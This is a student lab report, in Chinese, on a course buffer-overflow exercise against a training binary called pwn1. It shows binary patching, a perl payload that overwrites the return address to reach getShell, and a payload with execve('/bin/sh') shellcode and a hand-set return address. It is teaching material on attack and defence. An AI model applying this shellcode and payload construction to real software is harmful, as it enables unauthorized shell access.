当前位置: 首页 > news >正文

网络与系统攻防实验报告一 20232408李易骋1

北京电子科技学院(BESTI)

实 验 报 告

课程名称: 网络与系统攻防技术
实验序号: 实验一
实验名称: 缓冲区溢出攻击
学 号: 20232408
姓 名: 李易骋
指导老师: 王志强
必修/选修: 选修
实验日期:

一、实验目的

1. 掌握反汇编与十六进制编程器

2. 能正确修改机器指令改变程序执行流程

3. 能正确构造payload进行Bof攻击

二、实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践内容如下:

1. 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

2. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

3. 利用nc远程,进行对getShell的触发控制。

三、基础知识

1. Linux shell指令操作

1.1 基本指令:

cd,ls,od,vim,xxd,cat,cp,mv,mkdir,rm……

1.2 C程序编译与开发:

gcc,gdb,cgdb

2. 反汇编

反汇编是将可执行文件反向转换成汇编语言的过程。

Linux反汇编工具objdump:

基础使用命令:objdump -d

基于不同架构:objdump -m -d

  1. 缓冲区溢出

3.1 相关概念

缓冲区、堆和栈

栈(Stack):后进先出结构,用于管理函数调用。

堆(Heap):用于动态分配内存,需手动分配和释放。

缓冲区(Buffer):程序里用来临时存储数据的一块连续内存。

在利用漏洞时,必须将地址按小端序写入载荷,否则会跳转到错误地址。

3.2 基本原理

调用函数时,栈上的内存布局如下:

表 1 栈上内存布局

高地址
参数
返回地址RET
新EBP→旧的EBP内容
局部变量
低地址

当向缓冲区写入大量的数据时,一部分数据会溢出到返回地址等其他关键数据。攻击者通过构造存在内存的恶意代码段和含有该代码段地址的一段数据,使得返回地址恰好被恶意代码地址覆盖,从而达到返回时执行代码段的目的。

四、实验过程

1. 手工修改pwn20232408文件,执行ls命令

1.1 配置初始文件

unzip pwn1.zip

cp pwn1 pwn20232408

Objdump -d pwn20232408 | more

alt text

1.2 修改文件内容

vi pwn20232408

%!xxd

/e8 d7 ,修改为e8 c3

%!xxd -r

退出保存,执行文件./pwn20232408

再次反汇编,查看是否正确修改,检查结果正确。
alt text

  1. 通过构造输入参数,造成BOF攻击,改变程序执行流

    这里是利用了gets函数没有输入限制,所以直接
    perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
    alt text
    直接注入,跳转到系统函数getshell的位置。

    3.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3.1反汇编程序,分析程序

Objdump -d pwn20232408 | more
alt text

发现这里是gets,没有检测输入长度,是有缓冲区溢出攻击的可能性的。这个注入和上一个不同的是,不是去找getshell,而是自己构造shellcode。

3.2设置断点,查找可以攻击的漏洞

alt text

这里是后面重新开机做的,esp地址变了。在实验时是ffffd35c。由于我们选择这种形式:nop+shellcode+retaddr

参照指导书写的shellcode是perl -e 'print "A" x 32 . "\x04\x03\x02\x01"."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input\_shellcode

为什么这里是A * 32呢?

push ebp ;

mov ebp, esp ; 这里相差一个地址单位,是4字节,而

-0x1c就是-28,所以其实是差了32字节,我们可以自行输入少于32字节的输入来验证。

这样就可以注入后续代码,使其溢出覆盖到返回地址。
alt text

3.3修改注入,执行命令

我们可以修改“/x04/x03/x02/x01”,伪造esp的返回地址,使其跳转到我们要它跳转的位置。即esp+8的位置,也就是我们shellcode的位置。

将“/x04/x03/x02/x01”修改为“/x60/xd3/xff/xff”,再次注入。
alt text

  1. nc远程连接
    根据实验指导书,直接开双终端连接自己主机。
    alt text

证明可以实现。

五、实验中遇到的问题及解决

1.没有execstack,下载不了(报错是网址不存在),后来换了patchelf,效果是一样的。

2.在做第三步时,注入shellcode,一开始没有调试成功,管道破碎。后来发现是按照实验指导书写的payload可能不太好找shellcode位置,所以后面换了一种方式注入。

3.第三次调试的时候发现esp返回地址一团乱麻,后来检查时发现是忘记了关闭地址随机化,之前都是关闭的,只是第三次调试忘了。

六、实验体会

缓冲区溢出真的是很神奇的攻击方式,我觉得一个核心在于找到注入点,还有一个就在于shellcode的构思。这次实验做了很久,出现了许多问题,有些问题解决了一次第二次又有新的“变式”,但是通过不断解决问题,我对这个知识点的认识更加深入。同时,我们不仅是“攻击者”,也是“防御者”,会了怎么攻击,才能知道怎么去防御。在写函数时,要做最基本的限制输入长度;可以限制一些危险十六进制字符的输入,来在一定程度上限制缓冲区溢出攻击。

http://www.hskmm.com/?act=detail&tid=26916

相关文章:

  • [KaibaMath]1003 关于[x+y]≥[x]+[y]的证明
  • 【A】Strategy above the depths
  • 完整教程:Python 训练营打卡 Day 43
  • 快读快写
  • [KaibaMath]1002 关于[x+n]=[x]+n的证明
  • SpringBoot进阶教程(八十七)数据压缩
  • 塑料回收技术创新与可持续发展
  • 共享掩码:TFHE在打包消息上的自举技术
  • 详细介绍:[论文阅读] (38)基于大模型的威胁情报分析与知识图谱构建论文总结(读书笔记)
  • MATLAB安装 - -一叶知秋
  • 2025球墨铸铁管厂家 TOP 企业品牌推荐排行榜,市政球墨铸铁管、球墨铸铁管件、防腐球墨铸铁管、给水球墨铸铁管推荐这十家公司!
  • Say 题选记(10.5 - 10.11)
  • E. Rasta Thamaye Dilo
  • 微信机器人开发最新协议API
  • JDK的安装与使用 - XYX
  • Rust 的英文数字验证码识别系统实现
  • 微信机器人制作教程+源码
  • 基于 Rust 的英文数字验证码识别系统实现
  • 使用 Fortran 实现英文数字验证码识别系统
  • 初来乍到,发篇博客试试功能
  • 国庆集训游记
  • P11967 [GESP202503 八级] 割裂
  • 用 Ada 实现英文数字验证码识别
  • P11380 [GESP202412 八级] 排队
  • 数据增强操作
  • HTML5实现简洁的端午节节日网站源码 - 实践
  • Visio的图片,粘到word中显示不全,右边和下面显示不出来
  • 25国庆总结
  • 某平台增强排序脚本
  • 印度乡村AI计划:用JAN AI打造人工智能优先村庄